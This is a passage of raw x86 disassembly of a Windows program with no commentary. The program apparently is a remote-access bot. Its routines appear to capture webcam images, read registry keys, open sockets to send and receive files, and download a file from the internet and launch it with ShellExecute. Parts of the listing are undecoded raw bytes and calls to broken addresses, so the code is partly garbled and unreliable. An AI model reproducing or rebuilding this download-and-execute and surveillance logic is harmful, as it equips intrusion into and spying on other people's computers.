[ebp+arg_8] add esp, 0Ch cmp ecx, ebx jg short loc_415704 mov ecx, 280h loc_415704: ; CODE XREF: sub_4155F7+106j mov eax, [ebp+arg_C] cmp eax, ebx jg short loc_415710 mov eax, 1E0h loc_415710: ; CODE XREF: sub_4155F7+112j push [ebp+var_4] mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4CAF44 test eax, eax mov edi, 42Dh jz short loc_41575A push esi push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CB000 loc_41575A: ; CODE XREF: sub_4155F7+153j push [ebp+var_4] call dword_4CAF44 test eax, eax jz short loc_415777 push ebx push ebx push 43Dh push [ebp+var_4] call dword_4CB000 loc_415777: ; CODE XREF: sub_4155F7+16Ej push [ebp+var_4] call dword_4CAF44 test eax, eax jz short loc_415796 push [ebp+arg_0] push ebx push 419h push [ebp+var_4] call dword_4CB000 loc_415796: ; CODE XREF: sub_4155F7+18Bj push [ebp+var_4] call dword_4CAF44 test eax, eax jz short loc_4157B3 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CB000 loc_4157B3: ; CODE XREF: sub_4155F7+1AAj push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx push [ebp+var_4] call dword_4CAF44 test eax, eax jz short loc_4157E0 push ebx push ebx push 40Bh push [ebp+var_4] call dword_4CB000 loc_4157E0: ; CODE XREF: sub_4155F7+63j ; sub_4155F7+D0j ... push [ebp+var_4] call dword_4CB054 mov eax, ebx loc_4157EB: ; CODE XREF: sub_4155F7+39j pop edi pop esi pop ebx leave retn sub_4155F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4157F0 proc near ; CODE XREF: sub_401ACD+752Ep var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 90h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_4D2BD0 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4CAEF4 mov edi, eax cmp edi, ebx jnz short loc_41582E mov eax, esi jmp loc_415A2A ; --------------------------------------------------------------------------- loc_41582E: ; CODE XREF: sub_4157F0+35j push edi call dword_4CAF44 test eax, eax jz short loc_41584B push ebx push [ebp+arg_4] push 40Ah push edi call dword_4CB000 jmp short loc_41584D ; --------------------------------------------------------------------------- loc_41584B: ; CODE XREF: sub_4157F0+47j xor eax, eax loc_41584D: ; CODE XREF: sub_4157F0+59j cmp eax, ebx jnz short loc_415858 loc_415851: ; CODE XREF: sub_4157F0+8Bj ; sub_4157F0+BCj mov ebx, esi jmp loc_415A21 ; --------------------------------------------------------------------------- loc_415858: ; CODE XREF: sub_4157F0+5Fj push edi call dword_4CAF44 test eax, eax jz short loc_415878 lea eax, [ebp+var_90] push eax push 2Ch push 40Eh push edi call dword_4CB000 loc_415878: ; CODE XREF: sub_4157F0+71j cmp [ebp+var_7C], ebx jz short loc_415851 push edi call dword_4CAF44 test eax, eax jz short loc_41589B push ebx push ebx push 42Ch push edi call dword_4CB000 mov [ebp+arg_4], eax jmp short loc_41589E ; --------------------------------------------------------------------------- loc_41589B: ; CODE XREF: sub_4157F0+96j mov [ebp+arg_4], ebx loc_41589E: ; CODE XREF: sub_4157F0+A9j push [ebp+arg_4] call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_415851 push [ebp+arg_4] call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4158C5 push 1 pop ebx jmp loc_415A21 ; --------------------------------------------------------------------------- loc_4158C5: ; CODE XREF: sub_4157F0+CBj push edi call dword_4CAF44 test eax, eax jz short loc_4158E2 push [ebp+var_4] push [ebp+arg_4] push 42Ch push edi call dword_4CB000 loc_4158E2: ; CODE XREF: sub_4157F0+DEj push [ebp+arg_4] push [ebp+var_4] push esi call sub_41C310 mov ecx, [ebp+arg_C] add esp, 0Ch cmp ecx, ebx jg short loc_4158FD mov ecx, 0A0h loc_4158FD: ; CODE XREF: sub_4157F0+106j mov eax, [ebp+arg_10] cmp eax, ebx jg short loc_415907 push 78h pop eax loc_415907: ; CODE XREF: sub_4157F0+112j push edi mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4CAF44 test eax, eax jz short loc_41594C push esi push [ebp+arg_4] push 42Dh push edi call dword_4CB000 loc_41594C: ; CODE XREF: sub_4157F0+14Aj push edi call dword_4CAF44 test eax, eax jz short loc_415969 lea eax, [ebp+var_64] push eax push 60h push 441h push edi call dword_4CB000 loc_415969: ; CODE XREF: sub_4157F0+165j push edi mov [ebp+var_60], ebx mov [ebp+var_3C], ebx mov [ebp+var_38], ebx mov [ebp+var_34], ebx mov [ebp+var_30], 1 mov [ebp+var_2C], 5 mov [ebp+var_64], 1046Ah call dword_4CAF44 test eax, eax jz short loc_4159A7 lea eax, [ebp+var_64] push eax push 60h push 440h push edi call dword_4CB000 loc_4159A7: ; CODE XREF: sub_4157F0+1A3j push edi call dword_4CAF44 test eax, eax jz short loc_4159C2 push [ebp+arg_0] push ebx push 414h push edi call dword_4CB000 loc_4159C2: ; CODE XREF: sub_4157F0+1C0j push edi call dword_4CAF44 test eax, eax jz short loc_4159DB push ebx push ebx push 43Eh push edi call dword_4CB000 loc_4159DB: ; CODE XREF: sub_4157F0+1DBj push edi call dword_4CAF44 test eax, eax jz short loc_4159F8 push [ebp+var_4] push [ebp+arg_4] push 42Dh push edi call dword_4CB000 loc_4159F8: ; CODE XREF: sub_4157F0+1F4j push [ebp+var_4] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx push edi call dword_4CAF44 test eax, eax jz short loc_415A21 push ebx push ebx push 40Bh push edi call dword_4CB000 loc_415A21: ; CODE XREF: sub_4157F0+63j ; sub_4157F0+D0j ... push edi call dword_4CB054 mov eax, ebx loc_415A2A: ; CODE XREF: sub_4157F0+39j pop edi pop esi pop ebx leave retn sub_4157F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415A2F proc near ; CODE XREF: sub_401ACD+25F1p var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_F0 = byte ptr -0F0h var_70 = byte ptr -70h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F4h push ebx xor ebx, ebx cmp off_43622C, ebx mov [ebp+var_C], 80h jz loc_415BD0 push esi push edi mov eax, offset off_43622C mov esi, offset dword_436238 mov edi, offset dword_437430 loc_415A5F: ; CODE XREF: sub_415A2F+199j lea ecx, [ebp+var_4] push ecx push 20019h push ebx push dword ptr [eax] push dword ptr [esi-10h] call dword_4CB014 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_F0] push eax push ebx push ebx push dword ptr [esi-8] push [ebp+var_4] call dword_4CAEA4 test eax, eax jnz loc_415BB6 mov eax, [esi] cmp eax, ebx jz loc_415B7A push eax lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_3F4] push offset dword_4293EC push eax call sub_41B886 lea eax, [ebp+var_3F4] push offset aR ; "r" push eax call sub_41B4C2 add esp, 18h cmp eax, ebx mov [ebp+var_8], eax jz loc_415BB6 push eax loc_415AD8: ; CODE XREF: sub_415A2F+D4j lea eax, [ebp+var_70] push 64h push eax call sub_41BB4F add esp, 0Ch test eax, eax jz loc_415B6F push dword ptr [esi+4] lea eax, [ebp+var_70] push eax call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_415B05 push [ebp+var_8] jmp short loc_415AD8 ; --------------------------------------------------------------------------- loc_415B05: ; CODE XREF: sub_415A2F+CFj push 3Dh push dword ptr [esi+4] call sub_41BFB0 pop ecx test eax, eax pop ecx jz short loc_415B33 lea eax, [ebp+var_70] push offset asc_43742C ; "=" push eax call sub_41C0F4 push offset asc_43742C ; "=" push ebx call sub_41C0F4 add esp, 10h jmp short loc_415B36 ; --------------------------------------------------------------------------- loc_415B33: ; CODE XREF: sub_415A2F+E4j lea eax, [ebp+var_70] loc_415B36: ; CODE XREF: sub_415A2F+102j push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_2F0] push ebx push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_2F0] push eax call sub_4151AC add esp, 18h loc_415B6F: ; CODE XREF: sub_415A2F+B9j push [ebp+var_8] call sub_41B05B pop ecx jmp short loc_415BB6 ; --------------------------------------------------------------------------- loc_415B7A: ; CODE XREF: sub_415A2F+6Aj lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41B886 push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_2F0] push eax call sub_4151AC add esp, 28h loc_415BB6: ; CODE XREF: sub_415A2F+60j ; sub_415A2F+A2j ... push [ebp+var_4] call dword_4CAF80 add esi, 18h cmp [esi-0Ch], ebx lea eax, [esi-0Ch] jnz loc_415A5F pop edi pop esi loc_415BD0: ; CODE XREF: sub_415A2F+19j pop ebx leave retn sub_415A2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415BD3 proc near ; CODE XREF: ___:00416278p var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CB024 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_415C4F push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CAFA4 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CAFE4 cmp eax, esi jnz short loc_415C34 push [ebp+arg_0] call dword_4CB028 test eax, eax jz short loc_415C4F mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_415C34: ; CODE XREF: sub_415BD3+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CAF4C cmp eax, esi jnz short loc_415C53 push edi call dword_4CB03C loc_415C4F: ; CODE XREF: sub_415BD3+1Bj ; sub_415BD3+58j mov eax, esi jmp short loc_415C55 ; --------------------------------------------------------------------------- loc_415C53: ; CODE XREF: sub_415BD3+73j mov eax, edi loc_415C55: ; CODE XREF: sub_415BD3+7Ej pop edi pop esi leave retn sub_415BD3 endp ; --------------------------------------------------------------------------- byte_415C59 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+A1Eo dd 11B4B8h, 5EBAE800h, 458B0000h, 57565308h, 0F08B6D6Ah dd 4CBD8D59h, 0F3FFFFFEh, 5E016AA5h, 89EC75FFh, 1B0B0h dd 54858D00h, 50FFFFFEh, 0FFFF42E8h, 59D88BFFh, 59FFFB83h dd 858D5275h, 0FFFFEE4Ch, 4374AC68h, 0DBE85000h, 3300005Bh dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh, 8D50F475h dd 0FFFF6C85h, 0E85350FFh, 0FFFF3DA6h, 8D14C483h, 0FFEE4C85h dd 0D1E850FFh, 0FFFFFFF4h, 2FE8F075h, 59FFFF57h, 15E85659h dd 90022BA3h, 43D15868h, 6DE85300h, 5900003Fh, 59FFF883h dd 858D5975h, 0FFFFEE4Ch, 43747C68h, 77E85000h, 3300005Bh dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh, 8D50F475h dd 0FFFF6C85h, 0E85350FFh, 0FFFF3D42h, 8D14C483h, 0FFEE4C85h dd 6DE850FFh, 59FFFFF4h, 3C15FF53h, 0FF004CB0h, 0C3E8F075h dd 59FFFF56h, 0A9E89056h, 6A022BA2h, 0A1E89064h, 330225A2h dd 1000BEFFh, 8D560000h, 0FFEE4C85h, 0E85057FFh, 581Ch dd 8D0CC483h, 0FFEE4C85h, 505657FFh, 0BC15FF53h, 85004CAFh dd 8D387EC0h, 0FFEE4C85h, 99C868FFh, 0E8500042h, 6124h dd 0EE4C858Dh, 0E850FFFFh, 3CA8h, 850CC483h, 6A1474C0h dd 49E89064h, 6A0225A2h, 5580E80Ah, 0C085FFFFh, 8DA37559h dd 0FFEE4C85h, 744868FFh, 0E8500043h, 5AB2h, 59F87D39h dd 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h, 0FFFFFF6Ch dd 7FE85350h, 83FFFF3Ch, 858D14C4h, 0FFFFEE4Ch, 0F3AAE850h dd 5359FFFFh, 0B03C15FFh, 75FF004Ch, 5600E8F0h, 5759FFFFh dd 0A1E6E890h ; --------------------------------------------------------------------------- sub eax, [edx] loc_415E1A: ; DATA XREF: sub_401ACD+7831o push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1FCh] rep movsd push 1 xor esi, esi pop ebx mov [ebp-10h], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp-0Ch], esi mov [ebp-20h], esi call dword_4CB024 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp-18h], edi jnz short loc_415E68 push offset unk_4375AC jmp loc_416021 ; --------------------------------------------------------------------------- loc_415E68: ; CODE XREF: ___:00415E5Cj push 10h lea eax, [ebp-30h] push esi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-30h], 2 push esi call dword_4CAFA4 mov [ebp-2Eh], ax lea eax, [ebp-30h] push 10h push eax push edi mov [ebp-2Ch], esi call dword_4CAFD0 test eax, eax jz short loc_415EA6 push offset unk_437588 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415EA6: ; CODE XREF: ___:00415E9Aj lea eax, [ebp-1Ch] mov dword ptr [ebp-1Ch], 10h push eax lea eax, [ebp-30h] push eax push edi call dword_4CAF48 push dword ptr [ebp-2Eh] call dword_4CAED4 mov [ebp-4], eax lea eax, [ebp-1E0h] push eax mov [ebp+8], esi call sub_41AFE0 pop ecx loc_415ED8: ; CODE XREF: ___:00415F09j mov ecx, [ebp+8] mov al, [ebp+ecx-1E0h] cmp al, 20h jnz short loc_415EEB push 5Fh pop eax jmp short loc_415EEE ; --------------------------------------------------------------------------- loc_415EEB: ; CODE XREF: ___:00415EE4j movsx eax, al loc_415EEE: ; CODE XREF: ___:00415EE9j mov [ebp+ecx-604h], al lea eax, [ebp-1E0h] inc ecx push eax mov [ebp+8], ecx call sub_41AFE0 cmp [ebp+8], eax pop ecx jbe short loc_415ED8 push ebx push edi call dword_4CAFCC test eax, eax jz short loc_415F21 push offset unk_4374AC jmp loc_416021 ; --------------------------------------------------------------------------- loc_415F21: ; CODE XREF: ___:00415F15j push esi push esi push 3 push esi push ebx lea eax, [ebp-1E0h] push 80000000h push eax nop call near ptr 26F08DDh cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_415F4B push offset unk_437568 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415F4B: ; CODE XREF: ___:00415F3Fj push esi push eax call near ptr 2730C3Eh nop mov [ebp+8], eax push eax movzx eax, word ptr [ebp-4] push eax push dword ptr [ebp-1FCh] call sub_40AC0F pop ecx push eax call dword_4CAFE4 push eax call dword_4CAFA0 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset dword_437550 push eax call sub_41B886 push esi lea eax, [ebp-3FCh] push esi push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409A72 add esp, 2Ch lea eax, [ebp-38h] mov dword ptr [ebp-38h], 3Ch mov [ebp-34h], esi push eax push esi lea eax, [ebp-500h] push esi push eax push esi mov [ebp-4FCh], edi mov [ebp-500h], ebx call dword_4CAF8C test eax, eax jg short loc_415FFB push esi lea eax, [ebp-0DCh] push dword ptr [ebp-54h] push offset dword_437538 push eax push dword ptr [ebp-1FCh] call sub_409A72 jmp loc_41611F ; --------------------------------------------------------------------------- loc_415FFB: ; CODE XREF: ___:00415FD9j lea eax, [ebp-14h] mov dword ptr [ebp-14h], 10h push eax lea eax, [ebp-48h] push eax push edi call dword_4CB038 cmp eax, 0FFFFFFFFh mov [ebp-1F8h], eax jnz short loc_416034 push offset unk_437514 loc_416021: ; CODE XREF: ___:00415E63j ; ___:00415EA1j ... lea eax, [ebp-3FCh] push eax call sub_41B886 pop ecx pop ecx jmp loc_416122 ; --------------------------------------------------------------------------- loc_416034: ; CODE XREF: ___:0041601Aj push edi call dword_4CB03C cmp [ebp+8], esi jz loc_4160E6 mov edi, 400h loc_416049: ; CODE XREF: ___:004160DDj mov eax, [ebp+8] mov [ebp-4], edi cmp eax, edi jge short loc_416056 mov [ebp-4], eax loc_416056: ; CODE XREF: ___:00416051j push edi lea eax, [ebp-0A04h] push esi push eax call sub_41B590 mov eax, [ebp+8] add esp, 0Ch neg eax push 2 push esi push eax push dword ptr [ebp-8] nop call near ptr 2770000h lea eax, [ebp-20h] push esi push eax lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8] nop call near ptr 26F0000h push esi lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-1F8h] call dword_4CAFF4 mov [ebp-4], eax push esi cdq add [ebp-10h], eax lea eax, [ebp-0A04h] push edi push eax push dword ptr [ebp-1F8h] adc [ebp-0Ch], edx call dword_4CAFBC cmp eax, ebx jl loc_41617B mov eax, [ebp-4] cmp eax, ebx jl loc_41617B sub [ebp+8], eax jnz loc_416049 mov edi, [ebp-18h] loc_4160E6: ; CODE XREF: ___:0041603Ej push dword ptr [ebp-8] nop call near ptr 26508EFh push dword ptr [ebp-0Ch] push dword ptr [ebp-10h] call sub_416922 pop ecx pop ecx push eax push dword ptr [ebp-44h] call dword_4CB030 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset unk_4374E8 push eax call sub_41B886 loc_41611F: ; CODE XREF: ___:00415FF6j add esp, 14h loc_416122: ; CODE XREF: ___:0041602Fj cmp [ebp-50h], esi jnz short loc_416147 push esi lea eax, [ebp-3FCh] push dword ptr [ebp-54h] push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409A72 add esp, 14h loc_416147: ; CODE XREF: ___:00416125j lea eax, [ebp-3FCh] push eax call sub_4151AC cmp edi, esi pop ecx jbe short loc_41615F push edi call dword_4CB03C loc_41615F: ; CODE XREF: ___:00416156j push dword ptr [ebp-1F8h] call dword_4CB03C push dword ptr [ebp-58h] call sub_40B412 pop ecx push esi nop call near ptr 26D0000h loc_41617B: ; CODE XREF: ___:004160C9j ; ___:004160D4j push esi mov esi, offset dword_4374D0 push dword ptr [ebp-54h] lea eax, [ebp-0DCh] push esi push eax push dword ptr [ebp-1FCh] call sub_409A72 push esi call sub_4151AC add esp, 18h push dword ptr [ebp-1F8h] call dword_4CB03C push dword ptr [ebp-58h] call sub_40B412 pop ecx push ebx nop call near ptr 26D0000h loc_4161BC: ; DATA XREF: sub_401ACD+7B4o push ebp mov ebp, esp mov eax, 14C4h call sub_41BB20 mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1C0h] rep movsd push 1 xor ebx, ebx pop esi mov [ebp-8], ebx mov [eax+1B0h], esi lea eax, [ebp-2C4h] push 104h push eax nop call near ptr 2660AB7h lea eax, [ebp-1A4h] push eax lea eax, [ebp-2C4h] push eax lea eax, [ebp-2C4h] push offset dword_4293F4 push eax call sub_41B886 add esp, 10h lea eax, [ebp-2C4h] push ebx push 80h push 2 push ebx push esi push 40000000h push eax nop call near ptr 26F08DDh cmp eax, 0FFFFFFFFh jnz short loc_416246 push offset unk_43764C jmp short loc_41628C ; --------------------------------------------------------------------------- loc_416246: ; CODE XREF: ___:0041623Dj push eax nop call near ptr 26508EFh lea eax, [ebp-2C4h] push offset aAB ; "a+b" push eax call sub_41B4C2 pop ecx cmp eax, ebx pop ecx mov [ebp-4], eax jnz short loc_41626E push offset unk_43761C jmp short loc_41628C ; --------------------------------------------------------------------------- loc_41626E: ; CODE XREF: ___:00416265j push dword ptr [ebp-20h] lea eax, [ebp-1B8h] push eax call sub_415BD3 pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+8], eax jnz short loc_41629F push offset unk_4375FC loc_41628C: ; CODE XREF: ___:00416244j ; ___:0041626Cj lea eax, [ebp-4C4h] push eax call sub_41B886 pop ecx pop ecx jmp loc_41639B ; --------------------------------------------------------------------------- loc_41629F: ; CODE XREF: ___:00416285j mov esi, 1000h loc_4162A4: ; CODE XREF: ___:0041630Aj push esi lea eax, [ebp-14C4h] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-14C4h] push ebx push esi push eax push dword ptr [ebp+8] call dword_4CAFBC mov edi, eax cmp edi, ebx jz loc_41636B cmp edi, 0FFFFFFFFh jz short loc_41630C push dword ptr [ebp-4] lea eax, [ebp-14C4h] push edi push 1 push eax call sub_41D2B4 add [ebp-8], edi add esp, 10h push dword ptr [ebp-8] call dword_4CAFA0 mov [ebp-0Ch], eax push ebx lea eax, [ebp-0Ch] push 4 push eax push dword ptr [ebp+8] call dword_4CAFF4 jmp short loc_4162A4 ; --------------------------------------------------------------------------- loc_41630C: ; CODE XREF: ___:004162D4j lea eax, [ebp-4C4h] push offset dword_4374D0 push eax call sub_41B886 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409A72 lea eax, [ebp-4C4h] push eax call sub_4151AC push dword ptr [ebp-4] call sub_41B05B add esp, 24h push dword ptr [ebp+8] call dword_4CB03C push dword ptr [ebp-1Ch] call sub_40B412 pop ecx push 1 nop call near ptr 26D0000h loc_41636B: ; CODE XREF: ___:004162CBj mov eax, [ebp-8] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax lea eax, [ebp-1B8h] push eax lea eax, [ebp-1A4h] push eax lea eax, [ebp-4C4h] push offset unk_4375D0 push eax call sub_41B886 add esp, 14h loc_41639B: ; CODE XREF: ___:0041629Aj cmp [ebp-14h], ebx jnz short loc_4163C0 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409A72 add esp, 14h loc_4163C0: ; CODE XREF: ___:0041639Ej lea eax, [ebp-4C4h] push eax call sub_4151AC cmp [ebp-4], ebx pop ecx jz short loc_4163DB push dword ptr [ebp-4] call sub_41B05B pop ecx loc_4163DB: ; CODE XREF: ___:004163D0j cmp [ebp+8], ebx jbe short loc_4163E9 push dword ptr [ebp+8] call dword_4CB03C loc_4163E9: ; CODE XREF: ___:004163DEj push dword ptr [ebp-1Ch] call sub_40B412 pop ecx push ebx call near ptr 26D0000h nop loc_4163F9: ; DATA XREF: sub_401ACD+6279o ; sub_401ACD+6AB9o push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+8] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp-2CCh] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp-248h] push esi push eax push dword_4CAF54 call dword_4CAEA8 cmp eax, esi mov [ebp-18h], eax jz loc_416885 push esi push esi push 2 push esi push esi lea eax, [ebp-148h] push 40000000h push eax nop call near ptr 26F08DDh cmp eax, edi mov [ebp-20h], eax jnb short loc_4164C0 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset unk_437818 push eax call sub_41B886 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_4164A3 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_4164A3: ; CODE XREF: ___:00416481j lea eax, [ebp-510h] push eax call sub_4151AC push dword ptr [ebp-48h] call sub_40B412 pop ecx pop ecx push esi call near ptr 26D0000h nop loc_4164C0: ; CODE XREF: ___:00416461j xor edi, edi call near ptr 26808E8h nop mov ebx, 7D000h mov [ebp-4], eax push ebx call sub_41B4D5 pop ecx mov [ebp-1Ch], eax loc_4164DA: ; CODE XREF: ___:004165ADj push 200h lea eax, [ebp-510h] push esi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+8] push eax lea eax, [ebp-510h] push 200h push eax push dword ptr [ebp-18h] call dword_4CAEB0 cmp [ebp-34h], esi jz short loc_41651E push dword ptr [ebp+8] lea eax, [ebp-510h] push eax call sub_4168EB pop ecx pop ecx loc_41651E: ; CODE XREF: ___:0041650Bj lea eax, [ebp-24h] push esi push eax lea eax, [ebp-510h] push dword ptr [ebp+8] push eax push dword ptr [ebp-20h] call near ptr 26E0000h nop cmp edi, ebx jnb short loc_41655C mov eax, ebx sub eax, edi cmp eax, [ebp+8] jbe short loc_416546 mov eax, [ebp+8] loc_416546: ; CODE XREF: ___:00416541j push eax lea eax, [ebp-510h] push eax mov eax, [ebp-1Ch] add eax, edi push eax call sub_41C310 add esp, 0Ch loc_41655C: ; CODE XREF: ___:00416538j add edi, [ebp+8] cmp [ebp-3Ch], esi jz short loc_416569 cmp edi, [ebp-3Ch] ja short loc_4165B3 loc_416569: ; CODE XREF: ___:00416562j cmp dword ptr [ebp-44h], 1 mov eax, edi jz short loc_416583 shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_4377F0 jmp short loc_416593 ; --------------------------------------------------------------------------- loc_416583: ; CODE XREF: ___:0041656Fj shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_4377C8 loc_416593: ; CODE XREF: ___:00416581j mov eax, [ebp-48h] imul eax, 234h add eax, offset dword_43DCE0 push eax call sub_41B886 add esp, 10h cmp [ebp+8], esi ja loc_4164DA loc_4165B3: ; CODE XREF: ___:00416567j cmp [ebp-3Ch], esi mov dword ptr [ebp-14h], 1 jz short loc_416608 cmp edi, [ebp-3Ch] jz short loc_416608 push dword ptr [ebp-3Ch] lea eax, [ebp-510h] mov [ebp-14h], esi push edi push offset unk_43779C push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 lea eax, [ebp-510h] push eax call sub_4151AC add esp, 28h loc_416608: ; CODE XREF: ___:004165BDj ; ___:004165C2j nop call near ptr 26808E8h sub eax, [ebp-4] xor edx, edx mov ecx, 3E8h push dword ptr [ebp-20h] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax nop call near ptr 26508EFh push dword ptr [ebp-1Ch] call sub_41B0B1 cmp [ebp-38h], esi pop ecx jz short loc_416692 lea eax, [ebp-148h] push eax call sub_4010AB cmp eax, [ebp-38h] pop ecx jz short loc_416692 push dword ptr [ebp-38h] mov [ebp-14h], esi push eax lea eax, [ebp-510h] push offset unk_437774 push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 lea eax, [ebp-510h] push eax call sub_4151AC add esp, 28h loc_416692: ; CODE XREF: ___:0041663Aj ; ___:0041664Cj cmp [ebp-14h], esi jz loc_4168D2 cmp dword ptr [ebp-44h], 1 jz loc_41678D mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_4276B0 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_4276B0 fstp qword ptr [esp] push offset unk_43773C push eax call sub_41B886 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_41670D push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_41670D: ; CODE XREF: ___:004166EBj lea eax, [ebp-510h] push eax call sub_4151AC cmp dword ptr [ebp-40h], 1 pop ecx jnz loc_4168D2 push 5 push esi lea eax, [ebp-148h] push esi push eax push offset aOpen ; "open" push esi call dword_4CAF10 cmp [ebp-30h], esi jnz loc_4168D2 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset dword_437720 push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 lea eax, [ebp-510h] push eax call sub_4151AC add esp, 24h jmp loc_4168D2 ; --------------------------------------------------------------------------- loc_41678D: ; CODE XREF: ___:0041669Fj mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_4276B0 lea eax, [ebp-148h] fstp qword ptr [esp] 